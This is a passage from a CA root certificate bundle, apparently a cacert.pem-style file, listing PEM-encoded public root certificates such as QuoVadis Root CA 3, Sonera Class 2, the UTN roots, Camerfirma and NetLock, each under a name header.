VjB3pjd4M1IQWK4/YY7yarHvGH5KWWPKjaJW1acvvFYfzznB4vsKqBUsfU16Y8Zsl0Q80m/DShcK +JDSV6IZUaUtl0HaB0+pUNqQjZRG4T7wlP0QADj1O+hA4bRuVhogzG9Yje0uRY/W6ZM/57Es3zrW IozchLsib9D45MY56QSIPMO661V6bYCZJPVsAfv4l7CUW+v90m/xd2gNNWQjrLhVoQPRTUIZ3Ph1 WVaj+ahJefivDrkRoHy3au000LYmYjgahwz46P0u05B/B5EqHdZ+XIWDmbA4CD/pXvk1B+TJYm5X f6dQlfe6yJvmjqIBxdZmv3lh8zwc4bmCXF2gw+nYSL0ZohEUGW6yhhtoPkg3Goi3XZZenMfvJ2II 4pEZXNLxId26F0KCl3GBUzGpn/Z9Yr9y4aOTHcyKJloJONDO1w2AFrR4pTqHTI2KpdVGl/IsELm8 VCLAAVBpQ570su9t+Oza8eOx79+Rj1QqCyXBJhnEUhAFZdWCEOrCMc0u -----END CERTIFICATE----- QuoVadis Root CA 3 ================== -----BEGIN CERTIFICATE----- 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 -----END CERTIFICATE----- Security Communication Root CA ============================== -----BEGIN CERTIFICATE----- MIIDWjCCAkKgAwIBAgIBADANBgkqhkiG9w0BAQUFADBQMQswCQYDVQQGEwJKUDEYMBYGA1UEChMP U0VDT00gVHJ1c3QubmV0MScwJQYDVQQLEx5TZWN1cml0eSBDb21tdW5pY2F0aW9uIFJvb3RDQTEw HhcNMDMwOTMwMDQyMDQ5WhcNMjMwOTMwMDQyMDQ5WjBQMQswCQYDVQQGEwJKUDEYMBYGA1UEChMP U0VDT00gVHJ1c3QubmV0MScwJQYDVQQLEx5TZWN1cml0eSBDb21tdW5pY2F0aW9uIFJvb3RDQTEw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCzs/5/022x7xZ8V6UMbXaKL0u/ZPtM7orw 8yl89f/uKuDp6bpbZCKamm8sOiZpUQWZJtzVHGpxxpp9Hp3dfGzGjGdnSj74cbAZJ6kJDKaVv0uM DPpVmDvY6CKhS3E4eayXkmmziX7qIWgGmBSWh9JhNrxtJ1aeV+7AwFb9Ms+k2Y7CI9eNqPPYJayX 5HA49LY6tJ07lyZDo6G8SVlyTCMwhwFY9k6+HGhWZq/NQV3Is00qVUarH9oe4kA92819uZKAnDfd DJZkndwi92SL32HeFZRSFaB9UslLqCHJxrHty8OVYNEP8Ktw+N/LTX7s1vqr2b1/VPKl6Xn62dZ2 JChzAgMBAAGjPzA9MB0GA1UdDgQWBBSgc0mZaNyFW2XjmygvV5+9M7wHSDALBgNVHQ8EBAMCAQYw DwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAaECpqLvkT115swW1F7NgE+vGkl3g 0dNq/vu+m22/xwVtWSDEHPC32oRYAmP6SBbvT6UL90qY8j+eG61Ha2POCEfrUj94nK9NrvjVT8+a mCoQQTlSxN3Zmw7vkwGusi7KaEIkQmywszo+zenaSMQVy+n5Bw+SUEmK3TGXX8npN6o7WWWXlDLJ s58+OmJYxUmtYg5xpTKqL8aJdkNAExNnPaJUJRDL8Try2frbSVa7pv6nQTXD4IhhyYjH3zYQIphZ 6rBK+1YWc26sTfcioU+tHXotRSflMMFe8toTyyVCUZVHA4xsIcx0Qu1T/zOLjw9XARYvz6buyXAi FL39vmwLAw== -----END CERTIFICATE----- Sonera Class 2 Root CA ====================== -----BEGIN CERTIFICATE----- MIIDIDCCAgigAwIBAgIBHTANBgkqhkiG9w0BAQUFADA5MQswCQYDVQQGEwJGSTEPMA0GA1UEChMG U29uZXJhMRkwFwYDVQQDExBTb25lcmEgQ2xhc3MyIENBMB4XDTAxMDQwNjA3Mjk0MFoXDTIxMDQw NjA3Mjk0MFowOTELMAkGA1UEBhMCRkkxDzANBgNVBAoTBlNvbmVyYTEZMBcGA1UEAxMQU29uZXJh IENsYXNzMiBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJAXSjWdyvANlsdE+hY3 /Ei9vX+ALTU74W+oZ6m/AxxNjG8yR9VBaKQTBME1DJqEQ/xcHf+Js+gXGM2RX/uJ4+q/Tl18GybT dXnt5oTjV+WtKcT0OijnpXuENmmz/V52vaMtmdOQTiMofRhj8VQ7Jp12W5dCsv+u8E7s3TmVToMG f+dJQMjFAbJUWmYdPfz56TwKnoG4cPABi+QjVHzIrviQHgCWctRUz2EjvOr7nQKV0ba5cTppCD8P tOFCx4j1P5iop7oc4HFx71hXgVB6XGt0Rg6DA5jDjqhu8nYybieDwnPz3BjotJPqdURrBGAgcVeH nfO+oJAjPYok4doh28MCAwEAAaMzMDEwDwYDVR0TAQH/BAUwAwEB/zARBgNVHQ4ECgQISqCqWITT XjwwCwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBBQUAA4IBAQBazof5FnIVV0sd2ZvnoiYw7JNn39Yt 0jSv9zilzqsWuasvfDXLrNAPtEwr/IDva4yRXzZ299uzGxnq9LIR/WFxRL8oszodv7ND6J+/3DEI cbCdjdY0RzKQxmUk96BKfARzjzlvF4xytb1LyHr4e4PDKE6cCepnP7JnBBvDFNr450kkkdAdavph Oe9r5yF1BgfYErQhIHBCcYHaPJo2vqZbDWpsmh+Re/n570K6Tk6ezAyNlNzZRZxe7EJQY670XcSx EtzKO6gunRRaBXW37Ndj4ro1tgQIkejanZz2ZrUYrAqmVCY0M9IbwdR/GjqOC6oybtv8TyWf2TLH llpwrN9M -----END CERTIFICATE----- Staat der Nederlanden Root CA ============================= -----BEGIN CERTIFICATE----- MIIDujCCAqKgAwIBAgIEAJiWijANBgkqhkiG9w0BAQUFADBVMQswCQYDVQQGEwJOTDEeMBwGA1UE ChMVU3RhYXQgZGVyIE5lZGVybGFuZGVuMSYwJAYDVQQDEx1TdGFhdCBkZXIgTmVkZXJsYW5kZW4g Um9vdCBDQTAeFw0wMjEyMTcwOTIzNDlaFw0xNTEyMTYwOTE1MzhaMFUxCzAJBgNVBAYTAk5MMR4w HAYDVQQKExVTdGFhdCBkZXIgTmVkZXJsYW5kZW4xJjAkBgNVBAMTHVN0YWF0IGRlciBOZWRlcmxh bmRlbiBSb290IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmNK1URF6gaYUmHFt vsznExvWJw56s2oYHLZhWtVhCb/ekBPHZ+7d89rFDBKeNVU+LCeIQGv33N0iYfXCxw719tV2U02P jLwYdjeFnejKScfST5gTCaI+Ioicf9byEGW07l8Y1Rfj+MX94p2i71MOhXeiD+EwR+4A5zN9RGca C1Hoi6CeUJhoNFIfLm0B8mBF8jHrqTFoKbt6QZ7GGX+UtFE5A3+y3qcym7RHjm+0Sq7lr7HcsBth vJly3uSJt3omXdozSVtSnA71iq3DuD3oBmrC1SoLbHuEvVYFy4ZlkuxEK7COudxwC0barbxjiDn6 22r+I/q85Ej0ZytqERAhSQIDAQABo4GRMIGOMAwGA1UdEwQFMAMBAf8wTwYDVR0gBEgwRjBEBgRV HSAAMDwwOgYIKwYBBQUHAgEWLmh0dHA6Ly93d3cucGtpb3ZlcmhlaWQubmwvcG9saWNpZXMvcm9v dC1wb2xpY3kwDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBSofeu8Y6R0E3QA7Jbg0zTBLL9s+DAN BgkqhkiG9w0BAQUFAAOCAQEABYSHVXQ2YcG70dTGFagTtJ+k/rvuFbQvBgwp8qiSpGEN/KtcCFtR EytNwiphyPgJWPwtArI5fZlmgb9uXJVFIGzmeafR2Bwp/MIgJ1HI8XxdNGdphREwxgDS1/PTfLbw MVcoEoJz6TMvplW0C5GUR5z6u3pCMuiufi3IvKwUv9kP2Vv8wfl6leF9fpb8cbDCTMjfRTTJzg3y nGQI0DvDKcWy7ZAEwbEpkcUwb8GpcjPM/l0WFywRaed+/sWDCN+83CI6LiBpIzlWYGeQiy52OfsR iJf2fL1LuCAWZwWN4jvBcj+UlTfHXbme2JOhF4//DGYVwSR8MnwDHTuhWEUykw== -----END CERTIFICATE----- UTN DATACorp SGC Root CA ======================== -----BEGIN CERTIFICATE----- MIIEXjCCA0agAwIBAgIQRL4Mi1AAIbQR0ypoBqmtaTANBgkqhkiG9w0BAQUFADCBkzELMAkGA1UE BhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0eTEeMBwGA1UEChMVVGhl IFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8vd3d3LnVzZXJ0cnVzdC5jb20xGzAZ BgNVBAMTElVUTiAtIERBVEFDb3JwIFNHQzAeFw05OTA2MjQxODU3MjFaFw0xOTA2MjQxOTA2MzBa MIGTMQswCQYDVQQGEwJVUzELMAkGA1UECBMCVVQxFzAVBgNVBAcTDlNhbHQgTGFrZSBDaXR5MR4w HAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxITAfBgNVBAsTGGh0dHA6Ly93d3cudXNlcnRy dXN0LmNvbTEbMBkGA1UEAxMSVVROIC0gREFUQUNvcnAgU0dDMIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEA3+5YEKIrblXEjr8uRgnn4AgPLit6E5Qbvfa2gI5lBZMAHryv4g+OGQ0SR+ys raP6LnD43m77VkIVni5c7yPeIbkFdicZD0/Ww5y0vpQZY/KmEQrrU0icvvIpOxboGqBMpsn0GFlo wHDyUwDAXlCCpVZvNvlK4ESGoE1O1kduSUrLZ9emxAW5jh70/P/N5zbgnAVssjMiFdC04MwXwLLA 9P4yPykqlXvY8qdOD1R8oQ2AswkDwf9c3V6aPryuvEeKaq5xyh+xKrhfQgUL7EYw0XILyulWbfXv 33i+Ybqypa4ETLyorGkVl73v67SMvzX41MPRKA5cOp9wGDMgd8SirwIDAQABo4GrMIGoMAsGA1Ud DwQEAwIBxjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRTMtGzz3/64PGgXYVOktKeRR20TzA9 BgNVHR8ENjA0MDKgMKAuhixodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vVVROLURBVEFDb3JwU0dD LmNybDAqBgNVHSUEIzAhBggrBgEFBQcDAQYKKwYBBAGCNwoDAwYJYIZIAYb4QgQBMA0GCSqGSIb3 DQEBBQUAA4IBAQAnNZcAiosovcYzMB4p/OL31ZjUQLtgyr+rFywJNn9Q+kHcrpY6CiM+iVnJowft Gzet/Hy+UUla3joKVAgWRcKZsYfNjGjgaQPpxE6YsjuMFrMOoAyYUJuTqXAJyCyjj98C5OBxOvG0 I3KgqgHf35g+FFCgMSa9KOlaMCZ1+XtgHI3zzVAmbQQnmt/VDUVHKWss5nbZqSl9Mt3JNjy9rjXx EZ4du5A/EkdOjtd+D2JzHVImOBwYSf0wdJrE5SIv2MCN7ZF6TACPcn9d2t0bi0Vr591pl6jFVkwP DPafepE39peC4N1xaf92P2BNPM/3mfnGV/TJVTl4uix5yaaIK/QI -----END CERTIFICATE----- UTN USERFirst Hardware Root CA ============================== -----BEGIN CERTIFICATE----- MIIEdDCCA1ygAwIBAgIQRL4Mi1AAJLQR0zYq/mUK/TANBgkqhkiG9w0BAQUFADCBlzELMAkGA1UE BhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0eTEeMBwGA1UEChMVVGhl IFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8vd3d3LnVzZXJ0cnVzdC5jb20xHzAd BgNVBAMTFlVUTi1VU0VSRmlyc3QtSGFyZHdhcmUwHhcNOTkwNzA5MTgxMDQyWhcNMTkwNzA5MTgx OTIyWjCBlzELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0 eTEeMBwGA1UEChMVVGhlIFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8vd3d3LnVz ZXJ0cnVzdC5jb20xHzAdBgNVBAMTFlVUTi1VU0VSRmlyc3QtSGFyZHdhcmUwggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQCx98M4P7Sof885glFn0G2f0v9Y8+efK+wNiVSZuTiZFvfgIXlI wrthdBKWHTxqctU8EGc6Oe0rE81m65UJM6Rsl7HoxuzBdXmcRl6Nq9Bq/bkqVRcQVLMZ8Jr28bFd tqdt++BxF2uiiPsA3/4aMXcMmgF6sTLjKwEHOG7DpV4jvEWbe1DByTCP2+UretNb+zNAHqDVmBe8 i4fDidNdoI6yqqr2jmmIBsX6iSHzCJ1pLgkzmykNRg+MzEk0sGlRvfkGzWitZky8PqxhvQqIDsjf Pe58BEydCl5rkdbux+0ojatNh4lz0G6k0B4WixThdkQDf2Os5M1JnMWS9KsyoUhbAgMBAAGjgbkw gbYwCwYDVR0PBAQDAgHGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFKFyXyYbKJhDlV0HN9WF lp1L0sNFMEQGA1UdHwQ9MDswOaA3oDWGM2h0dHA6Ly9jcmwudXNlcnRydXN0LmNvbS9VVE4tVVNF UkZpcnN0LUhhcmR3YXJlLmNybDAxBgNVHSUEKjAoBggrBgEFBQcDAQYIKwYBBQUHAwUGCCsGAQUF BwMGBggrBgEFBQcDBzANBgkqhkiG9w0BAQUFAAOCAQEARxkP3nTGmZev/K0oXnWO6y1n7k57K9cM //bey1WiCuFMVGWTYGufEpytXoMs61quwOQt9ABjHbjAbPLPSbtNk28GpgoiskliCE7/yMgUsogW XecB5BKV5UU0s4tpvc+0hY91UZ59Ojg6FEgSxvunOxqNDYJAB+gECJChicsZUN/KHAG8HQQZexB2 lzvukJDKxA4fFm517zP4029bHpbj4HR3dHuKom4t3XbWOTCC8KucUvIqx69JXn7HaOWCgchqJ/kn iCrVWFCVH/A7HFe7fRQ5YiuayZSSKqMiDP+JJn1fIytH1xUdqWqeUQ0qUZ6B+dQ7XnASfxAynB67 nfhmqA== -----END CERTIFICATE----- Camerfirma Chambers of Commerce Root ==================================== -----BEGIN CERTIFICATE----- MIIEvTCCA6WgAwIBAgIBADANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJFVTEnMCUGA1UEChMe QUMgQ2FtZXJmaXJtYSBTQSBDSUYgQTgyNzQzMjg3MSMwIQYDVQQLExpodHRwOi8vd3d3LmNoYW1i ZXJzaWduLm9yZzEiMCAGA1UEAxMZQ2hhbWJlcnMgb2YgQ29tbWVyY2UgUm9vdDAeFw0wMzA5MzAx NjEzNDNaFw0zNzA5MzAxNjEzNDRaMH8xCzAJBgNVBAYTAkVVMScwJQYDVQQKEx5BQyBDYW1lcmZp cm1hIFNBIENJRiBBODI3NDMyODcxIzAhBgNVBAsTGmh0dHA6Ly93d3cuY2hhbWJlcnNpZ24ub3Jn MSIwIAYDVQQDExlDaGFtYmVycyBvZiBDb21tZXJjZSBSb290MIIBIDANBgkqhkiG9w0BAQEFAAOC AQ0AMIIBCAKCAQEAtzZV5aVdGDDg2olUkfzIx1L4L1DZ77F1c2VHfRtbunXF/KGIJPov7coISjlU xFF6tdpg6jg8gbLL8bvZkSM/SAFwdakFKq0fcfPJVD0dBmpAPrMMhe5cG3nCYsS4No41XQEMIwRH NaqbYE6gZj3LJgqcQKH0XZi/caulAGgq7YN6D6IUtdQis4CwPAxaUWktWBiP7Zme8a7ileb2R6jW DA+wWFjbw2Y3npuRVDM30pQcakjJyfKl2qUMI/cjDpwyVV5xnIQFUZot/eZOKjRa3spAN2cMVCFV d9oKDMyXroDclDZK9D7ONhMeU+SsTjoF7Nuucpw4i9A5O4kKPnf+dQIBA6OCAUQwggFAMBIGA1Ud EwEB/wQIMAYBAf8CAQwwPAYDVR0fBDUwMzAxoC+gLYYraHR0cDovL2NybC5jaGFtYmVyc2lnbi5v cmcvY2hhbWJlcnNyb290LmNybDAdBgNVHQ4EFgQU45T1sU3p26EpW1eLTXYGduHRooowDgYDVR0P AQH/BAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIABzAnBgNVHREEIDAegRxjaGFtYmVyc3Jvb3RAY2hh bWJlcnNpZ24ub3JnMCcGA1UdEgQgMB6BHGNoYW1iZXJzcm9vdEBjaGFtYmVyc2lnbi5vcmcwWAYD VR0gBFEwTzBNBgsrBgEEAYGHLgoDATA+MDwGCCsGAQUFBwIBFjBodHRwOi8vY3BzLmNoYW1iZXJz aWduLm9yZy9jcHMvY2hhbWJlcnNyb290Lmh0bWwwDQYJKoZIhvcNAQEFBQADggEBAAxBl8IahsAi fJ/7kPMa0QOx7xP5IV8EnNrJpY0nbJaHkb5BkAFyk+cefV/2icZdp0AJPaxJRUXcLo0waLIJuvvD L8y6C98/d3tGfToSJI6WjzwFCm/SlCgdbQzALogi1djPHRPH8EjX1wWnz8dHnjs8NMiAT9QUu/wN UPf6s+xCX6ndbcj0dc97wXImsQEcXCz9ek60AcUFV7nnPKoF2YjpB0ZBzu9Bga5Y34OirsrXdx/n ADydb47kMgkdTXg0eDQ8lJsm7U9xxhl6vSAiSFr+S30Dt+dYvsYyTnQeaN2oaFuzPu5ifdmA6Ap1 erfutGWaIZDgqtCYvDi1czyL+Nw= -----END CERTIFICATE----- Camerfirma Global Chambersign Root ================================== -----BEGIN CERTIFICATE----- MIIExTCCA62gAwIBAgIBADANBgkqhkiG9w0BAQUFADB9MQswCQYDVQQGEwJFVTEnMCUGA1UEChMe QUMgQ2FtZXJmaXJtYSBTQSBDSUYgQTgyNzQzMjg3MSMwIQYDVQQLExpodHRwOi8vd3d3LmNoYW1i ZXJzaWduLm9yZzEgMB4GA1UEAxMXR2xvYmFsIENoYW1iZXJzaWduIFJvb3QwHhcNMDMwOTMwMTYx NDE4WhcNMzcwOTMwMTYxNDE4WjB9MQswCQYDVQQGEwJFVTEnMCUGA1UEChMeQUMgQ2FtZXJmaXJt YSBTQSBDSUYgQTgyNzQzMjg3MSMwIQYDVQQLExpodHRwOi8vd3d3LmNoYW1iZXJzaWduLm9yZzEg MB4GA1UEAxMXR2xvYmFsIENoYW1iZXJzaWduIFJvb3QwggEgMA0GCSqGSIb3DQEBAQUAA4IBDQAw ggEIAoIBAQCicKLQn0KuWxfH2H3PFIP8T8mhtxOviteePgQKkotgVvq0Mi+ITaFgCPS3CU6gSS9J 1tPfnZdan5QEcOw/Wdm3zGaLmFIoCQLfxS+EjXqXd7/sQJ0lcqu1PzKY+7e3/HKE5TWH+VX6ox8O by4o3Wmg2UIQxvi1RMLQQ3/bvOSiPGpVeAp3qdjqGTK3L/5cPxvusZjsyq16aUXjlg9V9ubtdepl 6DJWk0aJqCWKZQbua795B9Dxt6/tLE2Su8CoX6dnfQTyFQhwrJLWfQTSM/tMtgsL+xrJxI0DqX5c 8lCrEqWhz0hQpe/SyBoT+rB/sYIcd2oPX9wLlY/vQ37mRQklAgEDo4IBUDCCAUwwEgYDVR0TAQH/ BAgwBgEB/wIBDDA/BgNVHR8EODA2MDSgMqAwhi5odHRwOi8vY3JsLmNoYW1iZXJzaWduLm9yZy9j aGFtYmVyc2lnbnJvb3QuY3JsMB0GA1UdDgQWBBRDnDafsJ4wTcbOX60Qq+UDpfqpFDAOBgNVHQ8B Af8EBAMCAQYwEQYJYIZIAYb4QgEBBAQDAgAHMCoGA1UdEQQjMCGBH2NoYW1iZXJzaWducm9vdEBj aGFtYmVyc2lnbi5vcmcwKgYDVR0SBCMwIYEfY2hhbWJlcnNpZ25yb290QGNoYW1iZXJzaWduLm9y ZzBbBgNVHSAEVDBSMFAGCysGAQQBgYcuCgEBMEEwPwYIKwYBBQUHAgEWM2h0dHA6Ly9jcHMuY2hh bWJlcnNpZ24ub3JnL2Nwcy9jaGFtYmVyc2lnbnJvb3QuaHRtbDANBgkqhkiG9w0BAQUFAAOCAQEA PDtwkfkEVCeR4e3t/mh/YV3lQWVPMvEYBZRqHN4fcNs+ezICNLUMbKGKfKX0j//U2K0X1S0E0T9Y gOKBWYi+wONGkyT+kL0mojAt6JcmVzWJdJYY9hXiryQZVgICsroPFOrGimbBhkVVi76SvpykBMdJ PJ7oKXqJ1/6v/2j1pReQvayZzKWGVwlnRtvWFsJG8eSpUPWP0ZIV018+xgBJOm5YstHRJw0lyDL4 IBHNfTIzSJRUTN3cecQwn+uOuFW114hcxWokPbLTBQNRxgfvzBRydD1ucs4YKIxKoHflCStFREes t2d/AYoFWpO+ocH/+OcOZ6RHSXZddZAa9SaP8A== -----END CERTIFICATE----- NetLock Notary (Class A) Root ============================= -----BEGIN CERTIFICATE----- MIIGfTCCBWWgAwIBAgICAQMwDQYJKoZIhvcNAQEEBQAwga8xCzAJBgNVBAYTAkhVMRAwDgYDVQQI EwdIdW5nYXJ5MREwDwYDVQQHEwhCdWRhcGVzdDEnMCUGA1UEChMeTmV0TG9jayBIYWxvemF0Yml6 dG9uc2FnaSBLZnQuMRowGAYDVQQLExFUYW51c2l0dmFueWtpYWRvazE2MDQGA1UEAxMtTmV0TG9j ayBLb3pqZWd5em9pIChDbGFzcyBBKSBUYW51c2l0dmFueWtpYWRvMB4XDTk5MDIyNDIzMTQ0N1oX DTE5MDIxOTIzMTQ0N1owga8xCzAJBgNVBAYTAkhVMRAwDgYDVQQIEwdIdW5nYXJ5MREwDwYDVQQH EwhCdWRhcGVzdDEnMCUGA1UEChMeTmV0TG9jayBIYWxvemF0Yml6dG9uc2FnaSBLZnQuMRowGAYD VQQLExFUYW51c2l0dmFueWtpYWRvazE2MDQGA1UEAxMtTmV0TG9jayBLb3pqZWd5em9pIChDbGFz cyBBKSBUYW51c2l0dmFueWtpYWRvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvHSM D7tM9DceqQWC2ObhbHDqeLVu0ThEDaiDzl3S1tWBxdRL51uUcCbbO51qTGL3cfNk1mE7PetzozfZ z+qMkjvN9wfcZnSX9EUi3fRc4L9t875lM+QVOr/bmJBVOMTtplVjC7B4BPTjbsE/jvxReB+SnoPC /tmwqcm8WgD/qaiYdPv2LD4VOQ22BFWoDpggQrOxJa1+mm9dU7GrDPzr4PN6s6iz/0b2Y6LYOph7 tqyF/7AlT3Rj5xMHpQqPBffAZG9+pyeAlt7ULoZgx2srXnN7F+eRP2QM2EsiNCubMvJIH5+hCoR6 4sKtlz2O1cH5VqNQ6ca0+pii7pXmKgOM3wIDAQABo4ICnzCCApswDgYDVR0PAQH/BAQDAgAGMBIG A1UdEwEB/wQIMAYBAf8CAQQwEQYJYIZIAYb4QgEBBAQDAgAHMIICYAYJYIZIAYb4QgENBIICURaC Ak1GSUdZRUxFTSEgRXplbiB0YW51c2l0dmFueSBhIE5ldExvY2sgS2Z0LiBBbHRhbGFub3MgU3pv bGdhbHRhdGFzaSBGZWx0ZXRlbGVpYmVuIGxlaXJ0IGVsamFyYXNvayBhbGFwamFuIGtlc3p1bHQu IEEgaGl0ZWxlc2l0ZXMgZm9seWFtYXRhdCBhIE5ldExvY2sgS2Z0LiB0ZXJtZWtmZWxlbG9zc2Vn LWJpenRvc2l0YXNhIHZlZGkuIEEgZGlnaXRhbGlzIGFsYWlyYXMgZWxmb2dhZGFzYW5hayBmZWx0 ZXRlbGUgYXogZWxvaXJ0IGVsbGVub3J6ZXNpIGVsamFyYXMgbWVndGV0ZWxlLiBBeiBlbGphcmFz IGxlaXJhc2EgbWVndGFsYWxoYXRvIGEgTmV0TG9jayBLZnQuIEludGVybmV0IGhvbmxhcGphbiBh IGh0dHBzOi8vd3d3Lm5ldGxvY2submV0L2RvY3MgY2ltZW4gdmFneSBrZXJoZXRvIGF6IGVsbGVu b3J6ZXNAbmV0bG9jay5uZXQgZS1tYWlsIGNpbWVuLiBJTVBPUlRBTlQhIFRoZSBpc3N1YW5jZSBh bmQgdGhlIHVzZSBvZiB0aGlzIGNlcnRpZmljYXRlIGlzIHN1YmplY3QgdG8gdGhlIE5ldExvY2sg Q1BTIGF2YWlsYWJsZSBhdCBodHRwczovL3d3dy5uZXRsb2NrLm5ldC9kb2NzIG9yIGJ5IGUtbWFp bCBhdCBjcHNAbmV0bG9jay5uZXQuMA0GCSqGSIb3DQEBBAUAA4IBAQBIJEb3ulZv+sgoA0BO5TE5 ayZrU3/b39/zcT0mwBQOxmd7I6gMc90Bu8bKbjc5VdXHjFYgDigKDtIqpLBJUsY4B/6+CgmM0ZjP ytoUMaFP0jn8DxEsQ8Pdq5PHVT5HfBgaANzze9jyf1JsIPQLX2lS9O74silg6+NJMSEN1rUQQeJB CWziGppWS3cC9qCbmieH6FUpccKQn0V4GuEVZD3QDtigdp+uxdAu6tYPVuxkf1qbFFgBJ34TUMdr KuZoPL9coAob4Q566eKAw+np9v1sEZ7Q5SgnK1QyQhSCdeZK8CtmdWOMovsEPoMOmzbwGOQmIMOM 8CgHrTwXZoi1/baI -----END CERTIFICATE----- XRamp Global CA Root ==================== -----BEGIN CERTIFICATE----- MIIEMDCCAxigAwIBAgIQUJRs7Bjq1ZxN1ZfvdY+grTANBgkqhkiG9w0BAQUFADCBgjELMAkGA1UE BhMCVVMxHjAcBgNVBAsTFXd3dy54cmFtcHNlY3VyaXR5LmNvbTEkMCIGA1UEChMbWFJhbXAgU2Vj dXJpdHkgU2VydmljZXMgSW5jMS0wKwYDVQQDEyRYUmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBB dXRob3JpdHkwHhcNMDQxMTAxMTcxNDA0WhcNMzUwMTAxMDUzNzE5WjCBgjELMAkGA1UEBhMCVVMx 